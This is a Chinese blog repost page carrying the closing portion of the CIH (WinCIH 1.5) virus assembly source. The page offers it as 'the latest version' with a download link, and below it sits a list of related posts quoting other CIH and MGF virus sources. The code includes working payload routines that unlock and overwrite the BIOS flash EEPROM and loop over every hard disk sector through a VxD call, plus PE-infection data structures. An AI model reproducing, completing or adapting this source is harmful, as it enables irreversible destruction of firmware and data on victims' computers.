; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; **************************************

; ***************************
; * Kill BIOS EEPROM     *
; ***************************

                 mov      bp, 0cf8h
                 lea      esi, IOForEEPROM-@7[esi]

; ***********************
; * Show BIOS Page in   *
; * 000E0000 - 000EFFFF *
; *   (   64 KB   )   *
; ***********************

                 mov      edi, 8000384ch
                 mov      dx, 0cfeh
                 cli
                 call      esi

; ***********************
; * Show BIOS Page in   *
; * 000F0000 - 000FFFFF *
; *   (   64 KB   )   *
; ***********************

                 mov      di, 0058h
                 dec      edx                              ; and al,0fh
                 mov      word ptr (BooleanCalculateCode-@10)[esi], 0f24h
                 call      esi

; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E01FF *
; *   (   512 Bytes   ) *
; * , and the Section   *
; * of Extra BIOS can   *
; * be Writted...     *
; ***********************

                 lea      ebx, EnableEEPROMToWrite-@10[esi]
                 mov      eax, 0e5555h
                 mov      ecx, 0e2aaah
                 call      ebx
                 mov      byte ptr [eax], 60h
                 push      ecx
                 loop      $

; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E007F *
; *   (   80h Bytes   ) *
; ***********************

                 xor      ah, ah
                 mov      [eax], al

                 xchg      ecx, eax
                 loop      $

; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data *
; * 000E0000 - 000FFFFF *
; *   (   128 KB   )   *
; * can be Writted...   *
; ***********************

                 mov      eax, 0f5555h
                 pop      ecx
                 mov      ch, 0aah
                 call      ebx
                 mov      byte ptr [eax], 20h

                 loop      $

; ***********************
; * Kill the BIOS Main *
; * ROM Data in Memory *
; * 000FE000 - 000FE07F *
; *   (   80h Bytes   ) *
; ***********************

                 mov      ah, 0e0h
                 mov      [eax], al

; ***********************
; * Hide BIOS Page in   *
; * 000F0000 - 000FFFFF *
; *   (   64 KB   )   *
; ***********************
                                                     ; or al,10h
                 mov      word ptr (BooleanCalculateCode-@10)[esi], 100ch
                 call      esi

; ***************************
; * Kill All HardDisk     *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs       *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************

KillHardDisk:
                 xor      ebx, ebx
                 mov      bh, FirstKillHardDiskNumber
                 push      ebx
                 sub      esp, 2ch
                 push      0c0001000h
                 mov      bh, 08h
                 push      ebx
                 push      ecx
                 push      ecx
                 push      ecx
                 push      40000501h
                 inc      ecx
                 push      ecx
                 push      ecx
                 mov      esi, esp
                 sub      esp, 0ach

LoopOfKillHardDisk:
                 int      20h
                 dd      00100004h      ; VXDCall IOS_SendCommand
                 cmp      word ptr [esi+06h], 0017h
                 je      KillNextDataSection

ChangeNextHardDisk:
                 inc      byte ptr [esi+4dh]
                 jmp      LoopOfKillHardDisk

KillNextDataSection:
                 add      dword ptr [esi+10h], ebx
                 mov      byte ptr [esi+4dh], FirstKillHardDiskNumber
                 jmp      LoopOfKillHardDisk

; ***************************
; * Enable EEPROM to Write *
; ***************************

EnableEEPROMToWrite:
                 mov      [eax], cl
                 mov      [ecx], al
                 mov      byte ptr [eax], 80h
                 mov      [eax], cl
                 mov      [ecx], al
                 ret

; ***************************
; * IO for EEPROM       *
; ***************************

IOForEEPROM:
@10                  =      IOForEEPROM

                 xchg      eax, edi
                 xchg      edx, ebp
                 out      dx, eax
                 xchg      eax, edi
                 xchg      edx, ebp
                 in      al, dx

BooleanCalculateCode      =      $
                 or      al, 44h
                 xchg      eax, edi
                 xchg      edx, ebp
                 out      dx, eax
                 xchg      eax, edi
                 xchg      edx, ebp
                 out      dx, al
                 ret

; *********************************************************
; *                  Static Data               *
; *********************************************************

LastVxDCallAddress      =      IFSMgr_Ring0_FileIO
VxDCallAddressTable      db      00h
                 db      IFSMgr_RemoveFileSystemApiHook-_PageAllocate
                 db      UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
                 db      IFSMgr_Ring0_FileIO-UniToBCSPath
VxDCallIDTable            dd      00010053h, 00400068h, 00400041h, 00400032h
VxDCallTableSize      =      ($-VxDCallIDTable)/04h

; *********************************************************
; *           Virus Version Copyright           *
; *********************************************************

VirusVersionCopyright   db     'WinCIH ver 1.5 by TATUNG, Thailand'

; *********************************************************
; *                  Virus Size                 *
; *********************************************************

VirusSize                  =      $
;                        + SizeOfVirusCodeSectionTableEndMark(04h)
;                        + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
;                        + SizeOfTheFirstVirusCodeSectionTable(04h)

; *********************************************************
; *                  Dynamic Data               *
; *********************************************************

VirusGameDataStartAddress      =      VirusSize
@6                        =      VirusGameDataStartAddress
OnBusy                        db      0
FileModificationTime            dd      ?

FileNameBuffer            db      FileNameBufferSize dup(?)
@7                  =      FileNameBuffer

DataBuffer            =      $
@8                  =      DataBuffer
NumberOfSections      dw      ?
TimeDateStamp            dd      ?
SymbolsPointer            dd      ?
NumberOfSymbols            dd      ?
SizeOfOptionalHeader      dw      ?
_Characteristics      dw      ?
Magic                  dw      ?
LinkerVersion            dw      ?
SizeOfCode            dd      ?
SizeOfInitializedData      dd      ?
SizeOfUninitializedData      dd      ?
AddressOfEntryPoint      dd      ?
BaseOfCode            dd      ?
BaseOfData            dd      ?
ImageBase            dd      ?
@9                  =      $
SectionAlignment      dd      ?
FileAlignment            dd      ?
OperatingSystemVersion      dd      ?
ImageVersion            dd      ?
SubsystemVersion      dd      ?
Reserved            dd      ?
SizeOfImage            dd      ?
SizeOfHeaders            dd      ?
SizeOfImageHeaderToRead =     $-NumberOfSections
NewAddressOfEntryPoint      =      DataBuffer      ; DWORD
SizeOfImageHeaderToWrite=     04h
StartOfSectionTable      =      @9
SectionName            =      StartOfSectionTable      ; QWORD
VirtualSize            =      StartOfSectionTable+08h      ; DWORD
VirtualAddress            =      StartOfSectionTable+0ch      ; DWORD
SizeOfRawData            =      StartOfSectionTable+10h      ; DWORD
PointerToRawData      =      StartOfSectionTable+14h      ; DWORD
PointerToRelocations      =      StartOfSectionTable+18h      ; DWORD
PointerToLineNumbers      =      StartOfSectionTable+1ch      ; DWORD
NumberOfRelocations      =      StartOfSectionTable+20h      ; WORD
NumberOfLinenNmbers      =      StartOfSectionTable+22h      ; WORD
Characteristics            =      StartOfSectionTable+24h      ; DWORD
SizeOfScetionTable      =      Characteristics+04h-SectionName

; *********************************************************
; *            Virus Total Need Memory             *
; *********************************************************

VirusNeedBaseMemory      =      $
VirusTotalNeedMemory      =      @9
;                        + NumberOfSections(??)*SizeOfScetionTable(28h)
;                        + SizeOfVirusCodeSectionTableEndMark(04h)
;                        + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
;                        + SizeOfTheFirstVirusCodeSectionTable(04h)
; *********************************************************

VirusGame           ENDS
                END   FileHeader
[转载]CIH 1.5 源代码 这是一个最新的版本啊!<br/>作者:陈盈豪 立即下载

相关推荐

CIH 源码

CIH源码

CIH原码

.586P OriginalAppEXE SEGMENT FileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

tianlong1569的专栏 746

CIH源码.txt

病毒CIH源码.txt

病毒程序源码实例剖析-CIH病毒[5]

 push ecx   loop $     ;破坏BIOS中额外的000E0000 - 000E007F段的 ROM数据,共80h个字节   xor ah, ah   mov [eax], al     xchg ecx, eax   loop $     ; 显示和激活BIOS的000E0000 - 000FFFFF段数据,共128 KB,该段可写入信息mov eax, 0f5555h   p

蓄势待发 2424

CIH源码及中文注释CIH源码及中文注释

CIH源码及中文注释

过去的风骚CIH源码

声明:此代码仅用于学习自我提高,请勿做非法用途!**************************************************************************** ; * The Virus Program Information * ; **************************************************************************** ; * * ; * Designer : CIH Source : TTIT of TATUNG in Taiwan * ; * Create Date : 04/26/1998 Now Version : 1.4 * ; * Modification Time : 05/31/1998 * ; * * ; * Turbo Assembler Version 4.0 : tasm /m cih * ; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe *

CIH病毒源代码

<br />**************************************************************************** <br /><br />; * * <br />; * Designer : CIH Original Place : TTIT of Taiwan * <br />; * Create Date : 04/26/1998 Now Version : 1.1 * <br />; * Modification Time : 05/15/1998

Linux方程式 2361

Isaac Sim 车辆动力学:从参数调优到户外仿真的挑战与实战

本文深入探讨了Isaac Sim在车辆动力学仿真中的应用,从参数调优到户外场景模拟的实战经验。详细解析了悬架系统、轮胎物理模型等核心参数的设置技巧,并分享了应对户外仿真挑战的实用方案。通过Vehicle Wizard高级使用和传感器配置,帮助开发者高效完成车辆仿真与算法开发。

weixin_29192211的博客 404

CIH病毒1.4版本之中文注释

;CIH病毒1.4版本之中文注释 ;源程序中的英文注释未作修改,全部保留 **************************************************************************** ; * The Virus Program Information * ; ************************************************

gzfqh的专栏 →底层代码研究 1200

HPE磁盘阵列管理04——MSA事件

本文介绍了HPE MSA存储系统的事件处理机制,重点分析了常见磁盘故障事件及其解决方案。文章首先定义了MSA事件的五个严重级别(严重、错误、警告、信息和解决),然后详细列举了多个典型事件案例(如事件1、3、6、8、172等),包括每种事件的触发条件、对系统的影响以及具体修复步骤。针对磁盘故障场景,文章提供了更换磁盘、重建磁盘组、取消隔离等操作建议,并强调应及时配置备用磁盘以降低数据风险。最后指出更详细的事件说明可参考《MSA事件描述参考指南》,并提供了HPE官方手册下载链接。全文为技术人员处理MSA存储故障

istrangeboy&begin zero的博客 1123

统信UOS系统网络服务异常排查:WIFI图标消失与网络设置缺失的解决方案

本文详细解析了统信UOS系统WIFI图标消失与网络设置缺失的常见问题,提供了从基础修复到进阶排查的完整解决方案。重点分析了NetworkManager服务异常的根本原因,包括系统更新中断、权限配置错误等,并给出实用的命令行操作指南和预防措施,帮助用户快速恢复网络功能。

weixin_29234239的博客 622

CIH源代码(硬件厂商已修复,所以不用担心会对电脑造成伤害,做为研究硬件是不错的选择)

CIH病毒原码 ; * The Virus Program Information * ; **************************************************************************** ; * * ; * Designer : CIH Original Place : TTIT of Taiwan * ; * Cr...

qq_42577465的博客 441

SE (3) -Transformers:三维旋转 - 平移等变注意力网络

E (3) 变换器,这是一种用于三维点云和图的自注意力模块变体,在连续三维旋转平移下具有等变性。注意力机制的计算量会随着点云规模的增大呈二次方增长,因此引入邻域的概念是很有必要的:每个点不再关注所有其他点,而只关注其最近的邻点。注意力机制此前已在图的领域中以内部注意力、自注意力、顶点注意力或图注意力等名称被引入 [17, 31, 32, 12, 26]。等变性意味着当输入数据发生旋转或平移时,模型的输出也会以相应的、可预测的方式进行变换,从而保证模型性能的稳定性和可预测性。

qq_49786473的博客 1482

CIH病毒原码

CIH病毒原码文章属性:转载文章提交:xundi (xundi_at_xfocus.org); * The Virus Program Information * ; **************************************************************************** ; * * ; * Designer : CIH Original P

ylfnd的专栏 1035

去面试游戏测试工程师,面试官看着我的简历呆住了

!我个人整理了我这几年软件测试生涯整理的一些技术资料,包含:电子书,简历模块,各种工作模板,面试宝典,自学项目等。欢迎大家点击下方名片免费领取,千万不要错过哦。

MXB1220的博客 7332

QCC308x/3095收发一体:TX/RX双模一拖二与多编码广播实战解析

本文深度解析高通QCC308x/3095蓝牙音频芯片的TX/RX双模功能与广播应用。芯片支持发射和接收模式下的“一拖二”连接,并能实现LE Audio多设备广播,显著提升多设备音频切换体验与商业广播能力,适用于健身、导览等丰富场景。

g9h0i1的博客 1008

CIH源码分析

CIH病毒源代码分析(zz) -------------------------------------------------------------------------------- 文章标题:CIH病毒源代码分析 ;CIH病毒1.4版本之中文注释由"邹丹"编写完成于1999-4-09 ;源程序中的英文注释未作修改,全部保留 ;电子邮件: zd_dan@263.net ;个人主页: zdw

I'm a hack---- 1976

单片机应用案例:ESP32 搭配 BH1750 光强传感器和 Web 服务器

在该应用案例中,我们将使用 ESP32 开发板作为主控制器,BH1750 光强传感器用于采集环境光强度数据,并通过 Web 服务器展示采集到的数据。步骤一:购买材料步骤二:连接硬件步骤三:编写代码我们将使用 Arduino IDE 编写代码,以下是主要代码:// WiFi 设置const char* ssid = “你的 WiFi 名称”;const char* password = “密码”;// Web 服务器实例// BH1750 实例// 获取当前光强度数据。

RlDart的博客 813

CIH v1.4源程序

CIH v1.4源程序 ; **************************************************************************** ; * The Virus Program Information * ; ******************************************************************...

weixin_30505225的博客 305

弱网、高热、只有 32MB 内存:恶劣环境下嵌入式 SoC 音视频开发的“不死”法则

永远不要假设。你申请一个 1920 宽的图像,硬件为了对齐(比如 16 字节对齐或 256 字节对齐),实际分配的一行可能有 1936 甚至是 2048 字节。那个多出来的部分叫Padding。如果你写代码时用来计算数据量,或者用Width来做指针偏移:恭喜你,你的画面会像被风吹歪的百叶窗一样,产生斜切畸变。永远使用VB_CONF结构体里返回的u32Stride字段。这是区分新手和老手的试金石。第六章 ISP 调优(Tuning)实战:为什么你调出的画面像个“鬼片”?

大模型大数据攻城狮的专栏 1771

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

"莫国防"病毒(win32.mgf)源代码

; 警告:本程序仅供各位学习研究,不许更改本程序成病毒新变种,更不允许添加破坏性代码,各位切记! ;写毒目的:;1,崇拜陈盈豪,欲与CIH一比高低;;2,传播技术,提高国人的水平(如果你把源程序读懂,并跟踪一遍病毒,你的技术会大大提高);;3,让世界知道中国还是有人的;;相关技术:;1,进入RING0:在WIN98用和CIH一样的技术,直接往GDT添加CALLGATE;在WIN 2000/

menuconfig的专栏 1424

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

上一篇: MGF病毒的利用代码
下一篇: Win98病毒制作原理-完整版
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值